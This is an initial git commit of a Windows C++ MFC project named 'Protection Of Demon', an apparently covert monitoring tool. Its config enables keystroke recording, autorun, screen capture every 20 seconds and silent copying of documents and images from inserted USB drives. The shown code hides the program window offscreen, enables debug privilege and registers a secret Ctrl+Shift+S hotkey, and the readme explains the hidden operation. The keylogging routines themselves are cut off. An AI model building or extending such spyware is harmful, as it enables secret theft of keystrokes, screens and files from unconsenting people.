init
This commit is contained in:
DemonGan 2022-04-14 14:05:43 +00:00
parent 56bc717c12
commit 740a15fdb3
31 changed files with 2309 additions and 0 deletions

15
exe/Config.ini Normal file
View File

@ -0,0 +1,15 @@
[Keyboard Record]
Keyboard Check=1
[Auto Run]
AutoRun=1
[U Disk Copy]
All Files=0
exe=0
jpg_png_bmp=1
doc_docx=1
ppt_pptx=1
xls_xlsx=1
mp3_wav=0
mp4_avi_rmvb_mkv=0
[Screen Capture]
Time=20s

BIN
exe/Protection Of Demon.exe Normal file

Binary file not shown.

BIN
exe/skin/AquaOS.ssk Normal file

Binary file not shown.

237
exe/skin/SkinPPWTL.h Normal file
View File

@ -0,0 +1,237 @@
#ifndef _SKINPPWTL_H_
#define _SKINPPWTL_H_
#ifdef _SKINPP_STATIC
#define SKINPPWTL_API
#else
#ifdef SKINPPWTL_EXPORTS
#define SKINPPWTL_API __declspec(dllexport)
#else
#define SKINPPWTL_API __declspec(dllimport)
#endif
#endif
#define WM_TOOLBARPAINTPRE (WM_USER + 802)
#define WM_TOOLBARPAINTEND (WM_USER + 803)
#define SM_LBUTTONUP (WM_USER + 804)
//按钮状态
enum BUTTONSTATE
{
NORMAL = 0,
PRESS = 1,
DISABLE = 2,
HOT = 3,
FOCUS = 4,
LAST = 5
};
//绘制类型
enum DRAWTYPE
{
BUTTON = 0,
SCROLLARROWUP = 1,
SCROLLARROWDOWN = 2,
SPLITTERBARHORZ = 3,
SPLITTERBARVERT = 4,
SPLITTERBARBORDER = 5,
LISTHEAD = 6
};
//获得皮肤资源的类型
enum SKINOBJTYPE
{
DIALOGTYPE = 0,
BUTTONTYPE = 1,
CHECKBOXTYPE = 2,
RADIOBOXTYPE = 3,
STATICTYPE = 4,
TRACKBARTYPE = 5,
};
struct ListBoxItem
{
HIMAGELIST hImageList;
int nImageIndex;
ListBoxItem()
{
hImageList = NULL;
nImageIndex = -1;
}
};
#define REST_BITMAP 0x0001 //.bmp
#define REST_ICON 0x0002 //.ico
#define REST_CURSOR 0x0003 //.cur
#define REST_ANIMATE 0x0004 //.ani
typedef struct _ResourceInfo
{
HGDIOBJ hGdiObj;//[OUT]
DWORD dwType; //[OUT]
int nWidth; //[OUT]
int nHeight;//[OUT]
TCHAR szResImageName[_MAX_FNAME];//[IN]
BOOL bHorzSplit;//[IN]
int nLength;//[IN]
int nCount; //[IN]
int nIndex; //[IN]
_ResourceInfo()
{
hGdiObj = NULL;
dwType = REST_BITMAP;
nWidth = 0;
nHeight = 0;
_tcscpy(szResImageName,_T(""));
bHorzSplit = TRUE;
nLength = -1;
nCount = -1;
nIndex = -1;
}
}ResInfo,* PRESINFO;
//////////////////////////////////////////////////////////////////////////
//加载皮肤
//SkinFile :皮肤路径,注意可以是*.ssk,也可以是皮肤目录中的INI文件.
//bFromIni :该参数指定皮肤文件是从*.ssk读取,还是从INI文件读取.
SKINPPWTL_API BOOL skinppLoadSkin(TCHAR* szSkinFile,BOOL bFromIni = FALSE);
SKINPPWTL_API BOOL skinppLoadSkinFromRes(HINSTANCE hInstance,LPCTSTR szResourceName,
LPCTSTR szResourceType,TCHAR* szSkinFileName);
//移除皮肤
SKINPPWTL_API BOOL skinppRemoveSkin();
//退出界面库,做清理工作。
SKINPPWTL_API BOOL skinppExitSkin();
//设置ListBox控件的自画信息
//hWnd : ListBox控件的句柄
//nIndex : Item项的索引
//pListBoxItem : Item项自画的结构信息
SKINPPWTL_API void skinppSetListBoxItemDrawInfo(HWND hWnd,int nIndex,struct ListBoxItem* pListBoxItem);
//获得换肤后的系统颜色
//nColorIndex : 要获取的颜色类型
SKINPPWTL_API COLORREF skinppGetSkinSysColor(int nColorIndex);
//获得Windows系统默认的颜色
//nColorIndex : 要获取的颜色类型
SKINPPWTL_API COLORREF skinppGetDefaultSysColor(int nColorIndex);
//hWnd : 对话框窗口的句柄
//nResID : 对话框资源ID
SKINPPWTL_API BOOL skinppSetWindowResID(HWND hWnd,int nResID);//[多语言]
SKINPPWTL_API BOOL skinppSetFreeDlgID(HWND hWnd,int nResID);
SKINPPWTL_API BOOL skinppSetSkinResID(HWND hWnd,int nResID);
//设置ListHeader窗口的排序信息
//hWnd : ListHeader的窗口句柄
//nSortColumn : 要对ListHeader排序的列的索引
//bSortAscending: 是否为升序
SKINPPWTL_API void skinppSetListHeaderSortInfo(HWND hWnd,int nSortColumn,BOOL bSortAscending = TRUE);
//在给定的HDC上,指定相应的绘制类型和状态,在相应的矩形区域中进行绘制.
//hdc :目标DC
//rect :绘制区域
//eDrawType :绘制类型目前支持SPLITTERBARHORZ,SPLITTERBARVERT,SPLITTERBARBORDER
//nState :选择绘制状态
SKINPPWTL_API void skinppDrawSkinObject(HDC hdc,RECT rect,DRAWTYPE eDrawType,int nState);
//通过资源ID,获得相应类型的皮肤资源位图句柄
//nSkinObjType : 皮肤类型,目前支持 DIALOGTYPE,BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE
//nResID : 资源ID
//nState : 状态,对BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE有效
SKINPPWTL_API HBITMAP skinppGetResFromID(SKINOBJTYPE nSkinObjType,int nResID,int nState =0 );
//设置是否自己画对话框背景,该方法用在需要自己对背景进行处理的情况下.
//hWnd : 对话框的句柄
//bErase : TRUE 为自己画背景,FALSE 为Skin++画,如果没有调用该方法,Skin++将画对话框背景.
SKINPPWTL_API void skinppSetDialogEraseBkgnd(HWND hWnd,BOOL bErase);
//设置对话框背景是否剪切子控件区域。
//hWnd : 对话框句柄
//bNoClip : TRUE为不需要剪切,FALSE为需要剪切区域
//bAllChild : TRUE为该窗体的所有子对话框都剪切.
SKINPPWTL_API void skinppSetDialogBkClipRgn(HWND hWnd,BOOL bClip,BOOL bAllChild = TRUE);
//通过皮肤资源名称获得皮肤资源中位图
//szName : 皮肤资源名称
//HBITMAP : 返回资源中的位图
SKINPPWTL_API HBITMAP skinppGetBitmapRes(LPCTSTR szName);
//通过资源名称取资源的内存指针
//szName : 资源名称
//nSize : 资源大小
//pByte : 返回值成功返回非NULL失败返回NULL
SKINPPWTL_API BYTE* skinppGetSkinResource(LPCTSTR szName,int& nSize);
//通过皮肤资源的名称获得位图不被拉伸的区域值
//szName : 皮肤资源名称
//nTopHeight : 返回不被拉伸的顶高
//nBottomHeight : 返回不被拉伸的底高
//nLeftWidth : 返回不被拉伸的左宽
//nRightWidth : 返回不被拉伸的右宽
SKINPPWTL_API BOOL skinppGetBitmapResRect(LPCTSTR szName,int& nTopHeight,int& nBottomHeight,
int& nLeftWidth,int& nRightWidth);
//设置窗口自画是否自己来处理,该方法用于自画部分需要自己处理的情况下
//hWnd : 要自画的窗口句柄
//bCustomDraw : TRUE为自己处理自画,FALSE为交给Skin++处理自画
SKINPPWTL_API void skinppSetCustomDraw(HWND hWnd,BOOL bCustomDraw);
//设置菜单的皮肤标识
//hWnd : 拥有菜单的窗口句柄
//nSkinObjectID : 菜单皮肤的标识
SKINPPWTL_API void skinppSetMenuSkinObjectID(HWND hWnd,int nSkinObjectID);
//设置是否对自画菜单进行换肤
//bSkin : TRUE为换肤
SKINPPWTL_API void skinppSetSkinOwnerMenu(BOOL bSkin);
//对菜单进行换肤控制
//hMenu : 想换肤的菜单句柄
//bNoSkin : 是否换肤,TRUE为不换肤,FALSE为换肤
SKINPPWTL_API void skinppSetDrawMenu(HMENU hMenu,BOOL bNoSkin);
//对指定的窗口去掉皮肤,并且保证不会再被换肤,即使使用SetSkinHwnd也不会换肤.
//hWnd : 指定的窗口句柄
//bChildNoSkin : 是否对该窗口中的子窗口去掉皮肤
SKINPPWTL_API void skinppSetNoSkinHwnd(HWND hWnd,BOOL bChildNoSkin = TRUE);
//对指定的窗口进行换肤
//hWnd : 指定的窗口句柄
//szClassName : 要子类化的Skin类型 WC_DIALOGBOX/WC_CONTROLBAR等
SKINPPWTL_API void skinppSetSkinHwnd(HWND hWnd,LPCTSTR szClassName = NULL);
//对指定的窗口临时去掉皮肤,可以通过SetSkinHwnd进行再次换肤
SKINPPWTL_API void skinppRemoveSkinHwnd(HWND hWnd);
//是对SetNoSkinHwnd的进一步处理,可以解决使用SetNoSkinHwnd引起的Debug版的断言错
#define SETNOSKINHWND(x) {\
HWND w=(x).UnsubclassWindow();\
skinppSetNoSkinHwnd(w);\
(x).SubclassWindow(w);\
}
//是对RemoveSkinHwnd的进一步处理,可以解决使用RemoveSkinHwnd引起的Debug版的断言错
#define REMOVESKINHWND(x){\
HWND w=(x).UnsubclassWindow();\
skinppRemoveSkinHwnd(w);\
(x).SubclassWindow(w);\
}
SKINPPWTL_API HGDIOBJ skinppGetResFromID(PRESINFO pResInfo);
#endif //_SKINPPWTL_H_

BIN
exe/skin/SkinPPWTL.lib Normal file

Binary file not shown.

BIN
exe/skin/skinppwtl.dll Normal file

Binary file not shown.

BIN
exe/skinppwtl.dll Normal file

Binary file not shown.

11
exe/使用说明.txt Normal file
View File

@ -0,0 +1,11 @@
操作:
直接双击运行 Protection Of Demon.exe 可执行文件,
运行后窗口会理解隐藏可以使用快捷键ctrl+shift+s
来显示控制窗口,根据自己的需求来设置参数。
恶魔的世界
http://www.demongan.com
本网站的所有作品均属原创,旨在为编程爱好的的初学者提供一个学习的平台。
版权所有 恶魔的世界,切勿用于商业用途,违者必究!
欢迎进入恶魔的世界

Binary file not shown.

View File

@ -0,0 +1,109 @@
// Protection Of Demon.cpp : 定义应用程序的类行为。
//
#include "stdafx.h"
#include "Protection Of Demon.h"
#include "Protection Of DemonDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CProtectionOfDemonApp
BEGIN_MESSAGE_MAP(CProtectionOfDemonApp, CWinApp)
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()
// CProtectionOfDemonApp 构造
CProtectionOfDemonApp::CProtectionOfDemonApp()
{
// 支持重新启动管理器
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}
// 唯一的一个 CProtectionOfDemonApp 对象
CProtectionOfDemonApp theApp;
// CProtectionOfDemonApp 初始化
BOOL CProtectionOfDemonApp::InitInstance()
{
skinppLoadSkin(_T(".\\skin\\AquaOS.ssk"));
// 如果一个运行在 Windows XP 上的应用程序清单指定要
// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
//则需要 InitCommonControlsEx()。否则,将无法创建窗口。
INITCOMMONCONTROLSEX InitCtrls;
InitCtrls.dwSize = sizeof(InitCtrls);
// 将它设置为包括所有要在应用程序中使用的
// 公共控件类。
InitCtrls.dwICC = ICC_WIN95_CLASSES;
InitCommonControlsEx(&InitCtrls);
CWinApp::InitInstance();
if (!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return FALSE;
}
AfxEnableControlContainer();
// 创建 shell 管理器,以防对话框包含
// 任何 shell 树视图控件或 shell 列表视图控件。
CShellManager *pShellManager = new CShellManager;
// 激活“Windows Native”视觉管理器以便在 MFC 控件中启用主题
CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));
// 标准初始化
// 如果未使用这些功能并希望减小
// 最终可执行文件的大小,则应移除下列
// 不需要的特定初始化例程
// 更改用于存储设置的注册表项
// TODO: 应适当修改该字符串,
// 例如修改为公司或组织名
SetRegistryKey(_T("应用程序向导生成的本地应用程序"));
CProtectionOfDemonDlg dlg;
m_pMainWnd = &dlg;
INT_PTR nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: 在此放置处理何时用
// “确定”来关闭对话框的代码
}
else if (nResponse == IDCANCEL)
{
// TODO: 在此放置处理何时用
// “取消”来关闭对话框的代码
}
else if (nResponse == -1)
{
TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n");
TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n");
}
// 删除上面创建的 shell 管理器。
if (pShellManager != NULL)
{
delete pShellManager;
}
// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
// 而不是启动应用程序的消息泵。
return FALSE;
}

View File

@ -0,0 +1,38 @@
// Protection Of Demon.h : PROJECT_NAME 应用程序的主头文件
//
#pragma once
#ifndef __AFXWIN_H__
#error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件"
#endif
#include "resource.h" // 主符号
//******************************************************
// 头文件
#pragma comment(lib,".\\skin\\SkinPPWTL.lib")
#include ".\\skin\\SkinPPWTL.h"
//******************************************************
// CProtectionOfDemonApp:
// 有关此类的实现,请参阅 Protection Of Demon.cpp
//
class CProtectionOfDemonApp : public CWinApp
{
public:
CProtectionOfDemonApp();
// 重写
public:
virtual BOOL InitInstance();
// 实现
DECLARE_MESSAGE_MAP()
};
extern CProtectionOfDemonApp theApp;

Binary file not shown.

View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Protection Of Demon", "Protection Of Demon.vcxproj", "{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Debug|Win32.ActiveCfg = Debug|Win32
{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Debug|Win32.Build.0 = Debug|Win32
{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Release|Win32.ActiveCfg = Release|Win32
{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

Binary file not shown.

View File

@ -0,0 +1,138 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}</ProjectGuid>
<RootNamespace>ProtectionOfDemon</RootNamespace>
<Keyword>MFCProj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Dynamic</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Protection Of Demon.h" />
<ClInclude Include="Protection Of DemonDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="VirtualKeyToAscii.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Protection Of Demon.cpp" />
<ClCompile Include="Protection Of DemonDlg.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Protection Of Demon.rc" />
</ItemGroup>
<ItemGroup>
<None Include="res\ProtectionOfDemon.rc2" />
</ItemGroup>
<ItemGroup>
<Image Include="res\demon64X64.ico" />
<Image Include="res\Protection Of Demon.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
<ProjectExtensions>
<VisualStudio>
<UserProperties RESOURCE_FILE="Protection Of Demon.rc" />
</VisualStudio>
</ProjectExtensions>
</Project>

View File

@ -0,0 +1,69 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Protection Of Demon.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Protection Of DemonDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="stdafx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="VirtualKeyToAscii.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Protection Of Demon.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="Protection Of DemonDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Protection Of Demon.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<None Include="res\ProtectionOfDemon.rc2">
<Filter>资源文件</Filter>
</None>
</ItemGroup>
<ItemGroup>
<Image Include="res\Protection Of Demon.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\demon64X64.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@ -0,0 +1,915 @@
// Protection Of DemonDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "Protection Of Demon.h"
#include "Protection Of DemonDlg.h"
#include "afxdialogex.h"
#include "VirtualKeyToAscii.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialogEx
{
public:
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
}
void CProtectionOfDemonDlg::OnFileExit()
{
// TODO: 在此添加命令处理程序代码
if(IDOK == ::MessageBox(NULL, "Are You Sure To Exit ?", "EXIT", MB_OKCANCEL | MB_ICONWARNING))
{
exit(0);
}
}
void CProtectionOfDemonDlg::OnHelpAbout()
{
// TODO: 在此添加命令处理程序代码
CAboutDlg dlg;
dlg.DoModal();
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()
// CProtectionOfDemonDlg 对话框
CProtectionOfDemonDlg::CProtectionOfDemonDlg(CWnd* pParent /*=NULL*/)
: CDialogEx(CProtectionOfDemonDlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_bHidden = FALSE;
}
void CProtectionOfDemonDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_SLIDER_TIME, m_Time);
}
BEGIN_MESSAGE_MAP(CProtectionOfDemonDlg, CDialogEx)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_COMMAND(ID_FILE_EXIT, &CProtectionOfDemonDlg::OnFileExit)
ON_COMMAND(ID_HELP_ABOUT, &CProtectionOfDemonDlg::OnHelpAbout)
ON_BN_CLICKED(IDC_CHECK_KEYBOARD_RECORD, &CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord)
ON_BN_CLICKED(IDC_BUTTON_KEYBOARD_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath)
// ON_NOTIFY(NM_CUSTOMDRAW, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnNMCustomdrawSliderTime)
ON_NOTIFY(NM_RELEASEDCAPTURE, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnReleasedcaptureSliderTime)
ON_BN_CLICKED(IDC_BUTTON_IMAGE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath)
ON_BN_CLICKED(IDC_CHECK_AUTORUN, &CProtectionOfDemonDlg::OnBnClickedCheckAutorun)
ON_BN_CLICKED(IDC_BUTTON_SHUTDOWN_TIMER, &CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer)
ON_BN_CLICKED(IDC_BUTTON_FILE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_ALL_FILES, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_EXE, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_DOC_DOCX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_XLS_XLSX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_PPT_PPTX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP3_WAV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv)
ON_WM_DEVICECHANGE()
ON_MESSAGE(WM_HOTKEY, OnHotKey)
END_MESSAGE_MAP()
// CProtectionOfDemonDlg 消息处理程序
BOOL EnablePriv()
{
HANDLE hToken;
::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tkp;
::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); // 修改进程权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
::AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL); // 通知系统修改进程权限
return false;
}
BOOL CProtectionOfDemonDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// 将“关于...”菜单项添加到系统菜单中。
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BOOL bNameValid;
CString strAboutMenu;
bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
ASSERT(bNameValid);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
EnablePriv();
// 隐藏窗口
ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW, SWP_DRAWFRAME);
::GetWindowRect(m_hWnd, &m_rcOldRect);
::MoveWindow(m_hWnd, -1000, -1000, 0, 0, FALSE);
// 注册热键
BOOL bRet = ::RegisterHotKey(m_hWnd, 1000, MOD_CONTROL | MOD_SHIFT, 'S'); // 注册的热键Ctrl+Shift+H
::GetModuleFileName(NULL, m_szPrivateFilePath, MAX_PATH);
GetCurrentFile(m_szPrivateFilePath, "Config.ini");
FILE *fp = NULL;
fopen_s(&fp, m_szPrivateFilePath, "a+");
if(NULL != fp)
{
fclose(fp);
}
GetPropertyFromPrivateFile(m_szPrivateFilePath);
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CProtectionOfDemonDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialogEx::OnSysCommand(nID, lParam);
}
}
// 如果向对话框添加最小化按钮,则需要下面的代码
